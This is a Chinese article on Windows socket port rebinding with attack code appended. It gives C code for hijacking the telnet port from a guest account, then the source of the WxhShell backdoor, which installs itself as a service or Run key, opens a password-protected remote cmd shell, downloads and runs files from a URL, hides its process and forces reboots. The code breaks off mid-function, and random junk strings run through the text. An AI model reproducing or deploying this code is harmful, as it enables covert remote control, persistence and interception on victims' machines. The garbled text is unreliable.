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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :
~R:[T2P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =w/S{yC
CNRiK;nQ saddr.sin_family = AF_INET; [ ]LiL;A& "p[FFg saddr.sin_addr.s_addr = htonl(INADDR_ANY); 320g!r ?->&)oAh bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9tZ+?O5 5%Xny8
]|D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (qky&}H r!,/~~mT 这意味着什么?意味着可以进行如下的攻击: $>M A 3~uWrZ.u 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R2%>y5dD &9*MO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %w0Vf$ (q|EC; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [L+VvO%cT <s737Rl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MGGc oO8opS7F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $sTvXf:g 4CdST3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |n_es)A ^^m3
11= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k"V@9q;* #VA8a=t #include *G,'V,? #include z#|#Cq`VG #include ncy? w
e #include uSRvc0R\ DWORD WINAPI ClientThread(LPVOID lpParam); 'J=knjAT int main() CaV>\E) { #FHyP1uyc WORD wVersionRequested; PM
A61g DWORD ret; s,2gd' WSADATA wsaData; =IkG;gg BOOL val; e=<%{M& SOCKADDR_IN saddr; >dTJ SOCKADDR_IN scaddr; Fm3f/]>k#_ int err; 6x_tX SOCKET s; [Tq\K ^!^ SOCKET sc; VIi/=mO] int caddsize; *Pmk1h2 HANDLE mt; Q:+cLl&;hB DWORD tid; fjh0Z i45 wVersionRequested = MAKEWORD( 2, 2 ); =rrbS8To= err = WSAStartup( wVersionRequested, &wsaData ); fcC?1M[BP~ if ( err != 0 ) { 5jYZ+OB printf("error!WSAStartup failed!\n"); V L&5TZtz return -1; }?vc1%w } NIQX?|;b{ saddr.sin_family = AF_INET; )Fo1[:_B' h"-}BjL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BW61WH? tUp'cG saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]DaC??%w saddr.sin_port = htons(23); Y8fahQ# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZMVQo-= { o@d+<6Um printf("error!socket failed!\n"); [9O,C-Mk return -1; xzRs;AXOp } o5 fXe}pl@ val = TRUE; `iiZ //SO_REUSEADDR选项就是可以实现端口重绑定的 t#p*{S 3u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hjgxCSp { \40d?N#D printf("error!setsockopt failed!\n"); H3?HQ>&O7 return -1; =R>%}5
} w<uK-]t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qC%[J:RwF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6,C,LT2^( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P9RIX;A= ;goR0PN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U;_b4S: { ,3zF_y(*Y ret=GetLastError(); A/xWe printf("error!bind failed!\n"); OEkx}.w return -1; iSZiJ4AUq } l/JE}Eg( listen(s,2); zMXlLRC0 while(1) :IZ(9=hs { 9J$8=UuxWG caddsize = sizeof(scaddr); \:*<En0 //接受连接请求 jmAQ!y|W. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0V:DeX$bZ if(sc!=INVALID_SOCKET) B f_oIc { :jFKTG
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !"dbK'jb^ if(mt==NULL) SQZUkKfb { -%U 15W; printf("Thread Creat Failed!\n"); % 1+\N break; .o2]ndT/J } [;Q8xvVZ' } 8"#Ix1# CloseHandle(mt); b$24${*' } sp0j2<$a closesocket(s); CFW\ WSACleanup(); }Ot
I8;> return 0; G$5N8k[2 } O>E2G]K]\ DWORD WINAPI ClientThread(LPVOID lpParam) $hkMJ),T~ { ~)zoIM \ SOCKET ss = (SOCKET)lpParam; o*_O1P SOCKET sc; CZ/bO#~ unsigned char buf[4096]; S[b)`Wi D SOCKADDR_IN saddr; )m-l&UK long num; >t/P^fr_F DWORD val; DiB~Ovh| DWORD ret; z_dorDF8`> //如果是隐藏端口应用的话,可以在此处加一些判断 s{- `y`JP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3q>6gaTv saddr.sin_family = AF_INET; 5K;vdwSB saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L29,Y=n@ saddr.sin_port = htons(23); Vs1j9P|G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [\M=w7 { y1JxAj printf("error!socket failed!\n"); $>3/6(bW return -1; #nE%.k|R~ } z|Hc=AU8y val = 100; +P7A`{Ae if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M1MpR+7S { 5pBQ~m3 ret = GetLastError(); <(]e/} return -1; w>IYrSaa> } FT1h\K|a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _l&`*
2d { KUdpOMYX ret = GetLastError(); >+[uV^2[ return -1; )V^J^1 } .qyk [O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fr}e-a { H?M#7K~[ printf("error!socket connect failed!\n"); AQ!FJ(X( closesocket(sc); 'oZ/fUl|7 closesocket(ss); ~HwY?[}!m return -1; |\
1?CYx } 9E (VU. while(1) 8 oHyNo { \(a9rZ9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fq){?hk~O //如果是嗅探内容的话,可以再此处进行内容分析和记录 OXC7
m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JTw'ecFev num = recv(ss,buf,4096,0); "+REv_: if(num>0) IED7v send(sc,buf,num,0); ~-,P1u! else if(num==0) +e0]Y8J{ break; !*:Zcg?7n num = recv(sc,buf,4096,0); u"K-mr#$[o if(num>0) ~RVx~hh send(ss,buf,num,0); J?XEF@?'G else if(num==0) Ve,_;<F]S break; 1NO<K` } ExDH@Lb closesocket(ss); Jy'ge4]3 closesocket(sc); H!Y`?Rc return 0 ; *'+OA6 } ?Uzs^rsb "h/{YjUS J9oGwP ========================================================== f[n#Eu} Y8I$JBO 下边附上一个代码,,WXhSHELL WV5gH*uUa ex8mA6g ========================================================== P5ii3a?R X6mY#T'fQ #include "stdafx.h" |X9YVZC K1Tq7/N #include <stdio.h> Eb`U^*A #include <string.h> 30Nya$$A= #include <windows.h> ?op6_a-wm #include <winsock2.h> hq.z:D #include <winsvc.h> cLH|; #include <urlmon.h> x. r~e)x= t;9f7~ #pragma comment (lib, "Ws2_32.lib") [R j=k)aBm #pragma comment (lib, "urlmon.lib") <CL0@?*i9 D"F5-s7 #define MAX_USER 100 // 最大客户端连接数 jxL5L[ #define BUF_SOCK 200 // sock buffer Ys10r-kDS #define KEY_BUFF 255 // 输入 buffer +XU*NAD,! NYD#I{h #define REBOOT 0 // 重启 [{_JO+)+n #define SHUTDOWN 1 // 关机 CTt3W>'=+ 06I'#:] #define DEF_PORT 5000 // 监听端口 *1V}vJvi fmH$1C< #define REG_LEN 16 // 注册表键长度 !!ZNemXct$ #define SVC_LEN 80 // NT服务名长度 -OZRSjmY z3b8 // 从dll定义API H~+D2A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w
.l2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7ZHM;_
- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
SX|b0S, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $kJvPwRO GLA,,i'i9 // wxhshell配置信息 oUEpzv,J struct WSCFG { 3Juhn5&N int ws_port; // 监听端口 HoGrvt<:.P char ws_passstr[REG_LEN]; // 口令 WO*YBH@ int ws_autoins; // 安装标记, 1=yes 0=no \>w[#4`m char ws_regname[REG_LEN]; // 注册表键名 6
$%^ char ws_svcname[REG_LEN]; // 服务名 F#@Mf?#2
char ws_svcdisp[SVC_LEN]; // 服务显示名 OWCd$c_( char ws_svcdesc[SVC_LEN]; // 服务描述信息 %FGPsHH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F ]\4< int ws_downexe; // 下载执行标记, 1=yes 0=no .eW}@1+[; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ecA[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @*L^Jgn G*e/Ft.wf8 }; `9eE139V=' \1f$]oS // default Wxhshell configuration .l5y!? struct WSCFG wscfg={DEF_PORT, %"j<` "xuhuanlingzhe", lyKV^7} 1, pL>Q'{7s3 "Wxhshell", ,;C92XY "Wxhshell", y}ez js "WxhShell Service", gOa'o< "Wrsky Windows CmdShell Service", PdJtJqA8h\ "Please Input Your Password: ", }:YS$'by 1, 4~4PZ " http://www.wrsky.com/wxhshell.exe", wQ[~7 ,o "Wxhshell.exe" b mZRCvW>A }; 5bGV91 V@<tIui$ // 消息定义模块 5KU}dw>*g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 13s!gwE) char *msg_ws_prompt="\n\r? for help\n\r#>"; {AqN@i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; B[ooT3V char *msg_ws_ext="\n\rExit."; R>[2}R30 char *msg_ws_end="\n\rQuit."; o87. ( char *msg_ws_boot="\n\rReboot..."; o`\l&jUNe char *msg_ws_poff="\n\rShutdown..."; ^V v7u@y char *msg_ws_down="\n\rSave to "; Afo(! v |h(!CFR char *msg_ws_err="\n\rErr!"; 7Q} P}9n char *msg_ws_ok="\n\rOK!"; #\iQ`Q<B u&".kk char ExeFile[MAX_PATH]; vn~DtTp/ int nUser = 0; ~\}%6W[2 HANDLE handles[MAX_USER]; S0 M-$ int OsIsNt; ^]^Y~$u X1!m]s(I SERVICE_STATUS serviceStatus; ow]S 3[07 SERVICE_STATUS_HANDLE hServiceStatusHandle; B+eB=KL g=Q#2/UQ< // 函数声明 x$I~y D int Install(void); /K<Xr[z~y int Uninstall(void); ^10*s,(uS? int DownloadFile(char *sURL, SOCKET wsh); pq+Gsu1^ int Boot(int flag);
md_aD void HideProc(void); ry3;60E\) int GetOsVer(void); i 4lR$]@ int Wxhshell(SOCKET wsl); WZdA<<,:o void TalkWithClient(void *cs); 8(q4D K\5u int CmdShell(SOCKET sock); zm\=4^X int StartFromService(void); w<&Nn`V int StartWxhshell(LPSTR lpCmdLine); ]K?z|&N|HK 4vPQuk! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a*6x^R;) VOID WINAPI NTServiceHandler( DWORD fdwControl ); o\1"ux;b `Z>4}<~+ // 数据结构和表定义 :}FMauHh SERVICE_TABLE_ENTRY DispatchTable[] = $jo}?Y+ { N \[Cuh8Fe {wscfg.ws_svcname, NTServiceMain}, 37x2fnC {NULL, NULL} d"uR1rTk }; CT3wd?)z` .RH}/D // 自我安装 x "]%q^x int Install(void) 6cVaO@/( { fyYT #r char svExeFile[MAX_PATH]; c^}gJ HKEY key; yAG4W[ strcpy(svExeFile,ExeFile); :)t1>y>3 Qr1%"^4 // 如果是win9x系统,修改注册表设为自启动 ny'~pT'00 if(!OsIsNt) { .@JXV
$Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _
mhP:O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jL^zS XQB RegCloseKey(key); 6gY5v@!w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rOE[c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a "EP ` RegCloseKey(key); 8#2PJHl; return 0; L{N9h1] } KR%p*Nh+C } HviL4iO } >&RpfE[ else { ko@I]gi2 P )_g t // 如果是NT以上系统,安装为系统服务 3X89mIDr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Ph@uZ\ if (schSCManager!=0) B-|:l7
{ YMj
z,N SC_HANDLE schService = CreateService ueDG1) ( k]lM% schSCManager, Yb]eWLv wscfg.ws_svcname, *5hg}[n2 wscfg.ws_svcdisp, !h}x,=`z/ SERVICE_ALL_ACCESS, *J=`"^BO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 52q@&')D4M SERVICE_AUTO_START, Q9q:HGXxv SERVICE_ERROR_NORMAL, 3%|LMX]M5_ svExeFile, jl{>>TW{x NULL, k+'Rh'> NULL, YDyOhv NULL, .d^8w97 NULL, &sh
%]o8 NULL 0SwWLq ); FcdbL,}=< if (schService!=0) yDWzsA/X { (ST/>")L CloseServiceHandle(schService); M-,vX15S CloseServiceHandle(schSCManager); Z<;<!+, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fMlxtj+5
strcat(svExeFile,wscfg.ws_svcname); rg"W1m[k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ",(-AU!a)h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VzA~w`$d RegCloseKey(key); ;<Oe\X return 0; {kD|8["Ie' } R}8!~Ma`| } `LVItP(GUM CloseServiceHandle(schSCManager); &Zs h-|N } {vx{Hwyv } aDm$^yP u^s{r`/ return 1; F]N9ZWn/ } >#Y8#-$zc $fPf/yQmC // 自我卸载 vY7C!O/y_k int Uninstall(void) k=Pu4:RF { $^INl0Pg HKEY key; zC(DigN ]t\fw' if(!OsIsNt) { WO/;o0{d\9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |#^u%#'[2 RegDeleteValue(key,wscfg.ws_regname); "KcSOjvJ RegCloseKey(key); Z=|:D,& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t~)w921> RegDeleteValue(key,wscfg.ws_regname); wr~# rfH RegCloseKey(key); MIub^ $<C return 0; .!\y<9 } 1RY}mq } _FeLSk. } 4>uz'j< else { wz + R{NmWj['Mg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'C]zB'H= if (schSCManager!=0) _&DI_'5q+ { 1u:OzyJy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #
5v 2`|) if (schService!=0) >(ku* { sl}bNzT# if(DeleteService(schService)!=0) { Gn<s>3E CloseServiceHandle(schService); yd]W',c CloseServiceHandle(schSCManager); _*0!6?c return 0; KXL]Qw FN } @2v L'6 CloseServiceHandle(schService); sOa`T k } #[vmS CloseServiceHandle(schSCManager); r50}j } >k<.bEx(A } ?5K.#>{ FTI[YR8?Y return 1; 5JK{dis]k } b7E= u0 Bcg\p} // 从指定url下载文件 '!]ry< int DownloadFile(char *sURL, SOCKET wsh) oL1m<cQo9 { ^Jcs0c
@\ HRESULT hr; y&-wb'==p char seps[]= "/"; WEFYV=I\ char *token; k|F<?:C char *file; BB-E"< char myURL[MAX_PATH]; 7G.IGXK$ char myFILE[MAX_PATH]; %a&Yt .e!dEF)D strcpy(myURL,sURL); 3+u11'0=t token=strtok(myURL,seps); %L.,:m tq) while(token!=NULL) )?^0<l#s { }\|$8~ file=token; Lfx&DK ! token=strtok(NULL,seps); qXR>Z=K< } ~=aD*v<3d eLJW GetCurrentDirectory(MAX_PATH,myFILE); {'l^{"GO" strcat(myFILE, "\\"); fLA!oeq{&} strcat(myFILE, file); ),v[.9!}: send(wsh,myFILE,strlen(myFILE),0); /Z';#G,z send(wsh,"...",3,0); wQgW9546 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <%#M&9d)E if(hr==S_OK) F-k3'eyY return 0; P6&@fwJ< else PCF!Y(l return 1; B4bC6$Lg *>h"}e41 } p 2It/O wqx@/--E( // 系统电源模块 "X4OUk int Boot(int flag) c}kZx1 { T~J6(," HANDLE hToken; biKom|<nm TOKEN_PRIVILEGES tkp; 9F845M m{9m.~d if(OsIsNt) { \< <u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bwj^9J/ob LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }
1^/[? tkp.PrivilegeCount = 1; 6T! *YrS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Vas`/~u~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vz#VW if(flag==REBOOT) { `of 5h*k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j2\bCGY return 0; <k-&Lh:o3 } =o^oMn else { dnTB$8& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #56}RV1 return 0; Eqc&iS~ } TCYjj:/ } -lV]((I& else { G7yCGT)vQ if(flag==REBOOT) { 8u
Tq0d6( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X1?7}VO return 0; =kH7 } DygMavA. else { Q*&>Ui[& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s%z\szd* return 0; A&*lb7X } ()e.J } +dq&9N/ ];i-d7C return 1; ) (unL`y } fDt#<f 4; :akEl7/& // win9x进程隐藏模块 6Qnerd%Ec void HideProc(void) ukHSHsR { pp@Jndlg nd*9vxM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 23?\jw3w if ( hKernel != NULL ) T4dLuJl { k FE2Vv4. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z )s{>^D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8z0j}xY% FreeLibrary(hKernel); rCU f,) } k ,wr6>'Vt !`"@! return; Vp{! Ft8> } A:PQIcR;V Wd#r-&!6j // 获取操作系统版本 /tR@J8pV int GetOsVer(void) "| cNY_$&s { d
4w+5H"u OSVERSIONINFO winfo; CB_ww= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J}U); A GetVersionEx(&winfo); ;#$ 67G$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H&\[iZ|-N return 1; d.Wq@(ZoA else aNLRUdc. return 0; H_RV#BW& } l/0"'o_0v# xO?w8 *d // 客户端句柄模块 DuX7 int Wxhshell(SOCKET wsl) Z^ynw8k" { )d5Hv2/0 SOCKET wsh; Lf0Y|^!S_u struct sockaddr_in client; 3Kuu9<0 DWORD myID; !iUFD*~r~ E0; }e
while(nUser<MAX_USER) Br^4N9 { tS#=I.ET int nSize=sizeof(client); k+#6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8g0By;h; if(wsh==INVALID_SOCKET) return 1; g}
\$9 .<&o, D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aVkgE> if(handles[nUser]==0) NwPGH=V closesocket(wsh); j#L"fW^GM else s|B nUser++; eGcc' LBr; } F]o&m::/K WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SNqw2f5 ;[@);-9q return 0; q)0?aL } Xq:jp+WSG &/QdG= r + // 关闭 socket I~Y1DP)R void CloseIt(SOCKET wsh) 7Nx5n< { ?pSb,kN}' closesocket(wsh); s
zBlyT nUser--; S}L$-7Ct ExitThread(0); r:pS[f|4\ } Mbbgsy3W `! ~~Wf' // 客户端请求句柄 v:/+OzY void TalkWithClient(void *cs) JxI\ss?O { Itq248+Ci <[iw1> SOCKET wsh=(SOCKET)cs; F<FNZQ@<U char pwd[SVC_LEN]; -Pds7}F8 char cmd[KEY_BUFF]; H'2&3v char chr[1]; 1^&qlnqH int i,j; A"|y< l
Ozi| while (nUser < MAX_USER) { zgre&BV0q obA}SF if(wscfg.ws_passstr) { Cka&b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .*N]SbU<8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t!}QG"ma //ZeroMemory(pwd,KEY_BUFF); #?=?<"*j i=0; yTt,/+I%gJ while(i<SVC_LEN) { \l)Jb*t EFpV // 设置超时 P`z#tDT^" fd_set FdRead; v9?hcJ= struct timeval TimeOut; R"@J*\;$T FD_ZERO(&FdRead); H}v.0R FD_SET(wsh,&FdRead); 4}0DEH.Vx TimeOut.tv_sec=8; U|tUX)9O TimeOut.tv_usec=0; aqL#g18 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3JhT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f@JMDJ UqVcN$^b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GM]" $ pwd =chr[0]; %Xe#'qNq) if(chr[0]==0xd || chr[0]==0xa) { 73/DOF pwd=0; $H\[yg>4 break; PSCzeR } 6( #fGH&[ i++; RP!!6A6: } jhRg47A <4lR // 如果是非法用户,关闭 socket "&$ [@c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^:krfXT } hA?Flq2QV 0%x"Va~"z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hM_0/o- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [D;wB|+, n8h1SlK08 while(1) { \!-IY _LVwjZX[ ZeroMemory(cmd,KEY_BUFF); 5hxG\f#}? _xKu EU} // 自动支持客户端 telnet标准 =7^rKrD j=0; +\Hh|Uz5 while(j<KEY_BUFF) { a7$]"
T 7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pFB^l|\ ] cmd[j]=chr[0]; cy_'QS$W if(chr[0]==0xa || chr[0]==0xd) { j 3/ I= cmd[j]=0; h?Y->!' break; 11"- taWj } /#<R j++; I,7~D!4G } ^|^yw gK E&;[E // 下载文件 C0f<xhp?j if(strstr(cmd,"http://")) { Bqcih$`BVU send(wsh,msg_ws_down,strlen(msg_ws_down),0); cd&^ vQL8 if(DownloadFile(cmd,wsh)) ON,sN send(wsh,msg_ws_err,strlen(msg_ws_err),0); z (1zth else 4n9".UHh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !O*'mX } iX&eQ{LB else { g4eEkG`XTS 5{z muv: switch(cmd[0]) { \C{Dui)F 7dm:L'0 // 帮助 H[WsHq;T+9 case '?': { Uzi.CYVs% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ol[sX=5 * break; UO1WtQyu,H } FRBW(vKE // 安装 v|K, case 'i': { !g`^<y! if(Install()) 54lU~ " send(wsh,msg_ws_err,strlen(msg_ws_err),0); v[7iWBqJ else KF .O>c87& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lRk) break; g)3HVAT } Vx
Vpl@ // 卸载 (^{tu89ab case 'r': { '3i,^g0?t0 if(Uninstall()) ]2_b_ok send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ww>u""B~ else m}-*B1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3?Bl' break; B0M(&)!%
} ?DGe}?pX // 显示 wxhshell 所在路径 u# TNW. case 'p': { '9ki~jtf= char svExeFile[MAX_PATH]; a<NZC strcpy(svExeFile,"\n\r"); W>E/LBpE4 strcat(svExeFile,ExeFile); \ 4`:~c send(wsh,svExeFile,strlen(svExeFile),0); 5wE+p<-KX break; JI3x^[(Z } ro n-v"! // 重启 = :/4) case 'b': { `iQ])C^d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B,5kG{2! if(Boot(REBOOT)) a 23XrX send(wsh,msg_ws_err,strlen(msg_ws_err),0); bo-AM] else { &E?TR
A# E closesocket(wsh); Vr^UEu.w? ExitThread(0); Vsj1!}X: } u\y$< break; GXnrVI } ;],Js1m // 关机 ke)}JU^" case 'd': { @zCp/fo3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d :vuRK4+ if(Boot(SHUTDOWN)) S{Q2KD send(wsh,msg_ws_err,strlen(msg_ws_err),0); 94}y,\S~ else { -u$U~?|` closesocket(wsh); {aVRvZH4 ExitThread(0);
Nd h } 6/3oW}Oo break; W]W[oTJ5 } A"}Ib' // 获取shell &} rmDx case 's': { Z}AhDIw!G CmdShell(wsh); <r1/& RW, closesocket(wsh); c;B: o ExitThread(0); FokSg[)5 break; (&KBYiwr } u9*7Buou^ // 退出 Y6E0-bL@Fe case 'x': { *'n L[] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .WVIdVO7 CloseIt(wsh); r
[E4/?_ break; 'Ul^V } lD#S:HX // 离开 g7;OZ#\ case 'q': { XOoz.GSQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); \v_R]0m\ closesocket(wsh); Ve ipM WSACleanup(); RxA:>yOPn exit(1); v&)G~cz break; 0t?g! } N[zR%(YS } CklIrD{ } d6f T UlMc8 z // 提示信息 b:Tv
Ta if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xdgbs-a) } '!"rE1e } 2w;Cw~<=d H1d2WNr[ return; *AG01# ZF } J(Fk@{!F.* FvXpqlp // shell模块句柄 4d8}g25C int CmdShell(SOCKET sock) +&4@HHU{G { &U_T1-UR2 STARTUPINFO si; mM2DZ^"j( ZeroMemory(&si,sizeof(si)); EEP&Y? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Od+nBJ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jpkKdQX) PROCESS_INFORMATION ProcessInfo; jSQM3+`b char cmdline[]="cmd"; GQ 0(lS CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =bOMtQ] return 0; 13p.dp` } cz1 m05E P#9Pq,I // 自身启动模式 ~^J9v+ int StartFromService(void) 4*9BAv { %RIlu[J typedef struct Rxq4Diq5k { gbu*6&j9 DWORD ExitStatus; q\/xx`L DWORD PebBaseAddress; AHzm9U @ DWORD AffinityMask; mYFc53B DWORD BasePriority; $wcTUl ULONG UniqueProcessId; ;o?o92d ULONG InheritedFromUniqueProcessId; ui80}% } PROCESS_BASIC_INFORMATION; JYnyo$m/ wAo6:) PROCNTQSIP NtQueryInformationProcess;
